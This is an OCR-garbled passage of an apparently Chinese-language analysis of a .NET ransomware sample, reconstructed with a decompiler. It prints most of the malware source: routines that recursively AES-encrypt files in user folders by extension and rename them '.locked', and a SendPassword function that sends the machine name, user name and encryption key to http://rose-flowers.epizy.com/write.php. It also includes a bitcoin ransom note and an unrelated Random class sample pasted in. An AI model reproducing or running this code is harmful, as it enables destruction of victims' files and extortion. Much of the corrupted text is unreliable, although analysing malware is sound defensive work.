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4 ¢ Base Types public class Forml : Form

% + Derived Types B{
components : IContainer private string targetURL - “http://rose-flowers.epizy.com/write.php”;

private string userName = Environment.UserName;

private string computerName = Environment.MachineName.ToString();
us

Createl
Form1()

AES_Encryptibyte[]. bytel]) : byte[] private IContainer components = null;
CheckForinternetConnection() : bool

private string userlir = "C:\\";

private PictureBox pictureBoxl;

Create ing) : void
Directory_Settings_Sending(string) : woid ]
Dispose{bool) : void
encryptDirectony(string. string) : void [D11Import(“user32.d11", CharSet = CharSet.duto)]

id private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winlni);

protected override CreateParams CreateParams
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public Forml()

) messageCreator() :
@ MoveVirus{ : void
D SendPassword(string] : void
& SetWallpaper(string) : void

private void Forml_Load(cbject sender, EventArgs e)

private void Form_Shown(object sender, EventArgs e)
ersinfo(uint, wint, string, uint) : int B 5
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CreatePassword(ing] : string
CreateWallpaperistring) : void
Directory_Settings_Sendinglstring) ; woid
Dispose{boal) : void
enoryptDirectony(string, string) : void
EnoryptFileistring, string) © void

Form_Shown(abject, Eventings) ! void
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Form1_Load{object, Eventirgs] : vosd
nitializeComponent) 1 void
mestagelreatarl : vaid

BllorweVirus(]) © woud
SendPasswondistring) : void
SetWallpaper(sting) : vaid
starthctiond) : woid
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01 internal static class Program {

02 [STAThread]

03 private static void Main() {

04 Application.Enablevisualstyles();

05 Application.SetCompatibleTextRenderingDefault(defaultvalue: false);
06 Application.Run(new Forml()); // <--XHREFEsFormlE ]

07 }

08 }

PLERRSS, ALEEREERNEEOERZFormT, BfEForm B EERERNE.

= Ihgy - o =
Be iew Bindow Help

-] E= = fa (e 52 cr = oG v ae - S @ O

Farmsll w
1 i Blocky. Forml

# vaing

private inelng rargeetRL = "BUes: ! feode-flowerd . bl By, comfwr Ui pha™
BrivEtE itelng usielose = Ervlronsest.|Herhsss)

privEte itelng computerisse = Favlronsent.Mackinelsss, TeStriagl) )
privats stelng useelie = "LV
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(1) Form1REBRRTE.
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System.Windows.Fromszs/r,
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01 private void InitializeComponent() {

02 pictureBoxl = new System.windows.Forms.PictureBox();

03 ((system.componentModel.ISupportInitialize)pictureBoxl).BeginInit();
04 SuspendLayout();

05 pictureBoxl.Location = new System.Drawing.Point(-1, 0);

06 pictureBoxl.Name = "pictureBoxl";

07 pictureBoxl.Size = new System.Drawing.Size(805, 450);

08 pictureBoxl.TabIndex = 0;

09 pictureBoxl.TabStop = false;

10 base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);

11 base.AutoScaleMode = System.windows.Forms.AutoScaleMode.Font;

12 base.ClientSize = new System.Drawing.Size(800, 450);

13 base.Controls.Add(pictureBoxl);

14 base.Name = "Forml";

15 Text = "Forml";

16 base.Load += new System.EventHandler(Forml_Load);

17 ((system.ComponentModel.ISupportInitialize)pictureBoxl).EndInit();
18 ResumeLayout(false);

19 }
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01 using System;

02

03 private void Forml_Load(object sender, EventArgs e) {
04 base.opacity = 0.0;

05 base.ShowInTaskbar = false;

06 startAction(); // <--EWRINE)SH B shaT

07 }

PAERRBIRBSEE NSRS, TREBOIEE, ABREESE, RERINE T startAction/5i%,
SERRREREstartAction5i%, FAILAEREEEPNE.
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startAction73i% (ERER) EFRILSpyRTLAEEIBINT:

01 public void startAction() {

02 Movevirus();

03 string password = CreatePassword(15);

04 Directory_Settings_Sending(password) ;

05 messageCreator();

06 string path = userDir + userName + "\\ransom.bmp";
07 bool flag;

08 do {

09 flag = CheckForInternetConnection();
10 if (flag) {

11 Createwallpaper(path);

12 SendPassword(password) ;

13 }

14 } while (!flag);

15 password = null;

16 AppTlication.Exit(Q);

17 3

startActionJ5 &R CRSRERRS, startActiondr3 Bl CreateWallpaper,
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01 public string CreatePassword(int length) {

02 StringBuilder stringBuilder = new StringBuilder();
03 Random random = new Random();

04 while (0 < Tength--) {

05

stringBuilder.Append("abcdefghijkImnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456
7890*1="(Q"
[random.Next("abcdefghijkImnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890% =7
O".Length)1);

06 }
07 return stringBuilder.ToString(Q);
08 }
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using System;
class RandomTest{

static void Main(){
// Instantiate random number generator using system-supplied value as seed.
var rand = new Random();

// Generate and display 5 random byte (integer) values.
byte[] bytes = new byte[5];
rand.NextBytes(bytes);
console.wWriteLine("Five random byte values:");
foreach (byte bytevalue in bytes)

Console.write("{0, 5}", bytevalue);
console.writeLine(Q);

// Generate and display 5 random integers.

console.writeLine("Five random integer values:");

for (int ctr = 0; ctr <= 4; ctr++)
console.write("{0,15:NO0}", rand.Next());
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}

// The example displays output Tike the following:

// Five random byte values:

// 194 185 239 54 116

// Five random integer values:

// 507,353,531 1,509,532,693 2,125,074,958
652,767,128

// Five random integers between 0 and 100:
// 16 78 94 79 52
// Five random integers between 50 and 100:
// 56 66 96 60 65
// Five Doubles.

// 0.943 0.108 0.744 0.563 0.415
// Five Doubles between 0 and 5.

// 2.934 3.130 0.292 1.432 4.369

BLALRIRBRFEREL, ARIIFEHEED (cmd&E0) |, 23IITLATS

&,

console.writeLine();

// Generate and display 5 random integers between O and 100.
console.writeLine("Five random integers between 0 and 100:");
for (int ctr = 0; ctr <= 4; ctr++)

console.write("{0,8:N0}", rand.Next(101));

console.writeLine();

// Generate and display 5 random integers from 50 to 100.
Cconsole.WriteLine("Five random integers between 50 and 100:");
for (int ctr = 0; ctr <= 4; ctr++)

console.write("{0,8:N0}", rand.Next(50, 101));

console.writeLine();

// Generate and display 5 random floating point values from O to 1.
console.writeLine("Five Doubles.");
for (int ctr = 0; ctr <= 4; ctr++)

console.write("{0,8:N3}", rand.NextbDouble());

console.writeLine(Q);

// Generate and display 5 random floating point values from O to 5.

Console.writeLine("Five Doubles between 0 and 5.");

for (int ctr = 0; ctr <= 4; ctr++)

console.write("{0,8:N3}", rand.NextDouble() * 5);

cd %Userprofile%\Desktop
CSC your_program.cs
your_program.exe
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01 public void SendPassword(string password) {

02 try {

03 string str = "?computer_name=" + computerName + "&userName=" +
userName + "&password=" + password + "&allow=ransom";

04 string address = targetURL + str;

05 string text = new WebClient().DownloadString(address);

06 } catch (Exception) {

07 }

08 }

LA BRI, EET WebClinetidDownloadSting/5 2 AB44 BRI B BN &E T GETiEK, 155
18, EHNBMBPEREAIEAMIEhttp://rose-flowers.epizy.com/write.php

XEBEARBE, AHARTRLEED, RBERETFNSNEREZEE,
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01 public void Directory_Settings_Sending(string password) {

02 string str = "Users\\";

03 string location = userDir + str + userName + "\\Desktop";

04 string location2 = userDir + str + userName + "\\Links";

05 string location3 = userDir + str + userName + "\\Contacts";
06 string location4 = userDir + str + userName + "\\Desktop";
07 string location5 = userDir + str + userName + "\\Documents";
08 string location6 = userDir + str + userName + "\\Downloads";
09 string location7 = userDir + str + userName + "\\Pictures";
10 string location8 = userDir + str + userName + "\\Music";

11 string location9 = userDir + str + userName + "\\OneDrive";
12 string locationl0 = userDir + str + userName + "\\Saved Games";
13 string locationll = userDir + str + userName + "\\Favorites";
14 string locationl2 = userDir + str + userName + "\\Searches";
15 string locationl3 = userDir + str + userName + "\\Videos";
16 encryptDirectory(location, password);

17 encryptDirectory(location2, password);

18 encryptDirectory(location3, password);

19 encryptDirectory(location4, password);

20 encryptDirectory(location5, password);

21 encryptDirectory(location6, password);

22 encryptDirectory(location7, password);

23 encryptDirectory(location8, password);

24 encryptDirectory(location9, password);

25 encryptDirectory(locationl0, password);

26 encryptDirectory(locationll, password);

27 encryptDirectory(locationl2, password);

28 encryptDirectory(locationl3, password);

29 }

BHRINZEZEDirectory_Settings_Sending/3iA-LHIRY, BERBETLIEHERABIEEEXH
PR — LB HRIFAS G BRI TING, fIaNRE, BRI, B, 8%, %, 2
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01 public void encryptDirectory(string location, string password) {
02 try {
03 string[] source = new string[68] {

non non non

04".txt",".jar",".exe",".dat",".contact",".settings",".doc",".docx",".x1s",".x1s

non non non non non non non non

x",".ppt",".pptx",".0odt",".jpg"," " .png","".csv",".py",".sq1",".mdb"," . sTn"," . php",

n non non

.asp",".aspx",".htm1"," .htm"," . xm1"," . psd"," .pdf",".d11",".c",".cs",".mp3"," .mp

non O T 1] non non

4" " f3d",".dwg",".cpp",".zip"," ".rar",".mov", " .rtf", " .bmp"," .mkv",".avi",".apk",

".Ink",".is0",".7-
zip",".ace",".arj",".bz2",".cab",".gzip",".1zh"," . tar", " .uue"," . xz",".z",".001",
".mpeg",".mp3"," .mpg",".core",".crproj",".pdb",".ico",".pas",".db",".torrent"
05 bE

06 string[] files = Directory.GetFiles(location);

07 string[] directories = Directory.GetDirectories(location);

08 for (int i = 0; i < files.Length; i++) {

09 string extension = Path.GetExtension(files[i]);

10 if (source.cContains(extension)) {

11 EncryptFile(files[i], password);

12 }

13 }

14 for (int j = 0; j < directories.Length; j++) {

15 encryptDirectory(directories[j], password);

16 }

17 } catch (Exception) {

18 }

19 }

AERCIS PRI LAD AT, BEABOOHEERISSEIRHTING, BRI, EFNBM
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01 public void EncryptFile(string file, string password) {

02 byte[] bytesToBeEncrypted = File.ReadAllBytes(file);

03 byte[] bytes = Encoding.UTF8.GetBytes(password);

04 bytes = SHA256.Create() .ComputeHash(bytes);

05 byte[] bytes2 = AES_Encrypt(bytesToBeEncrypted, bytes);
06 string str = "Users\\";

07 string str2 = str + userName + "\\Desktop\\READ_IT.txt.locked";
08 string path = userDir + str2;

09 if (File.Exists(path)) {

10 File.Delete(path);

11 }

12 File.writeAllBytes(file, bytes2);

13 File.Move(file, file + ".locked");

14 3}

LA ERIREB DT, ATIARILESARIS S TING, SN locked " X4 /E4.
XEFEESTEHBEREEETC-1TRBEXNENA? FiR%101TRBRESIT?
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01 private void Createwallpaper(string path) {

02 try {
03 string text = Create(17);
04 string s = "All your files are encrypted with RSA-2048 and AES-128

cipher" + Environment.NewLine + "More information about RSA and AES can be found
here:" + Environment.NewLine +
"https://en.wikipedia.org/wiki/RSA_(cryptosystem)" + Environment.NewLine +
"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard" +
Environment.NewLine + Environment.NewLine + "In order to decrypt your files you
need to follow these steps" + Environment.NewLine + "1) buy bitcoins
https://cex.io/buy-bitcoins" + Environment.NewLine + "2) send 0.055 BTC to" +
Environment.NewLine + "32CCbVv3wMs4kRo8vz9Guusgzzh4D5GdkUo" + Environment.NewLine
+ "3) pPerform a payment" + Environment.NewLine + Environment.NewLine + "Your

personal identification ID: + text;

05 Bitmap bitmap = new Bitmap(pictureBoxl.width, pictureBoxl.Height);
06 Font font = new Font("TimesNewRoman", 25f, FontStyle.Regular,
Graphicsunit.pPixel);

07 Graphics graphics = Graphics.FromImage(bitmap);

08 graphics.brawstring(s, font, Brushes.Tomato, new Point(0, 0));
09 bitmap.Save(path);

10 setwallpaper(path);

11 } catch (Exception) {

12 }

13 %

U ERBOTILEHEEENERISEHRER, SRR, MEHEEHIENE
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